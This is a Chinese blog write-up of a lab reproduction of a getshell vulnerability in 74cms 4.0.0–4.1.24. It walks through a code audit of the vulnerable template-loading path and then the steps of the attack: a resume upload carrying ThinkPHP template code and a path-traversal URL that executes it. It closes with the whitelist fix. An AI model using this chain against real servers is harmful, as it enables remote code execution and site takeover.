74cms前台getshell漏洞

一.概述

红日web靶场下载链接

1
2
链接:https://pan.baidu.com/s/12vaZancfB6xpeeGXqjRDXA   提取码:hzmy               
(靶机密码:hongrisec@2019

74cms存在前台getshell漏洞的版本号:4.0.0 - 4.1.24
该漏洞可以在Windows上实现,不能在Linux上实现

利用方式:注册一个账户后登录,在修改简历的界面上传一个doc的简历(doc文档里包含PHP代码),然后访问特殊构造的URL即可执行doc文件中的PHP代码。

由于靶场环境有一点小问题,我在74cms官网(http://www.74cms.com/download/index.html)下载了4.2.66版本,将/Application/Home/Controller/MController.class.php内容进行更改,主要就是把过滤的部分去掉。

更改后的MController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MController extends FrontendController{
public function index(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url());
}
$type = I('get.type','android','trim');
$android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';
$ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
$this->assign('android_download_url',$android_download_url);
$this->assign('ios_download_url',$ios_download_url);
$this->assign('type',$type);
$this->display('M/'.$type);
}
}

二.代码审计

/Application/Home/Controller/MController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MController extends FrontendController{
public function index(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url());
}
$type = I('get.type','android','trim');
$android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';
$ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
$this->assign('android_download_url',$android_download_url);
$this->assign('ios_download_url',$ios_download_url);
$this->assign('type',$type);
$this->display('M/'.$type);
}
}

1.index()方法的作用是根据URL中type参数的值来读取模板文件。
2.$type变量来自于URL,然后把$type传递给display()方法。display()方法是展示HTML模板。
3.当display()方法接收到一个文件路径时,它会判断这个文件是否存在,如果存在,则返回该路径,否则就会报错。

/ThinkPHP/Library/Think/View.class.php,下面就是parseTemplate()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function parseTemplate($template='') {
if(is_file($template)) {
return $template;
}
$depr = C('TMPL_FILE_DEPR');
$template = str_replace(':', $depr, $template);

// 获取当前模块
$module = MODULE_NAME;
if(strpos($template,'@')){ // 跨模块调用模版文件
list($module,$template) = explode('@',$template);
}
// 获取当前主题的模版路径
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath($module));

// 分析模板文件规则
if('' == $template) {
// 如果模板文件名为空 按照默认规则定位
$template = CONTROLLER_NAME . $depr . ACTION_NAME;
}elseif(false === strpos($template, $depr)){
$template = CONTROLLER_NAME . $depr . $template;
}
$file = THEME_PATH.$template.C('TMPL_TEMPLATE_SUFFIX');
if(C('TMPL_LOAD_DEFAULTTHEME') && THEME_NAME != C('DEFAULT_THEME') && !is_file($file)){
// 找不到当前主题模板的时候定位默认主题中的模板
$file = dirname(THEME_PATH).'/'.C('DEFAULT_THEME').'/'.$template.C('TMPL_TEMPLATE_SUFFIX');
}
return $file;
}

1、可以看到,parseTemplate()方法调用了is_file()函数判断模板文件是否存在。如果存在,即返回模板文件的路径;如果不存在则进行下一步操作。
2、parseTemplate()方法传递了display()方法的’M/’ . $type参数。$type参数又是可控的,所以这里可能会出现漏洞。
3、我们访问的url(&type=…/data/upload/word_resume/2112/08/61b07f2418704.doc)。当访问这个URL后,我们传递给parseTemplate()方法的参数就是:‘M/…/data/upload/word_resume/2112/08/61b07f2418704.doc’。在Windows上is_file()判断这个文件路径是存在的,而在Linux上不存在,所以该漏洞不能在Linux上实现。
4、上面的文件路径是相对于入口文件index.php的路径。


三.漏洞复现

1.下载源码,本地访问http://127.0.0.1/upload/install.php安装,安装完成后注册一个普通用户


2.进入个人中心,上传doc格式的简历,简历内容随便


3.使用burp抓包


4.修改包内容,内容要符合ThinkPHP模板格式

1
<php>phpinfo();</php>


5.成功回显文件上传路径,我的74cms根目录是upload

1
/upload/data/upload/word_resume/2112/08/61b07f2418704.doc

6.通过&type传参,成功执行命令。将内容换成一句话木马,可以直接getshell

1
http://127.0.0.1/upload/index.php?m=home&c=m&a=index&org=1&type=../data/upload/word_resume/2112/08/61b07f2418704.doc


四.防护

将/Application/Home/Controller/MController.class.php改为以下内容,4.1.24后的版本已经修复

1
2
3
4
5
6
7
8
9
10
11
12
13
class MController extends FrontendController{
public function index(){
if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
redirect(build_mobile_url());
}
$type = I('get.type','android','trim');
if(!in_array($type, array('ios','android','touch','weixin'))){
$this->error('参数错误!');
}
$this->assign('type',$type);
$this->display('M/'.$type);
}
}

用in_array()函数判断$type参数是否是白名单中的值,如果不是则报错

-------------end    感谢您的阅读-------------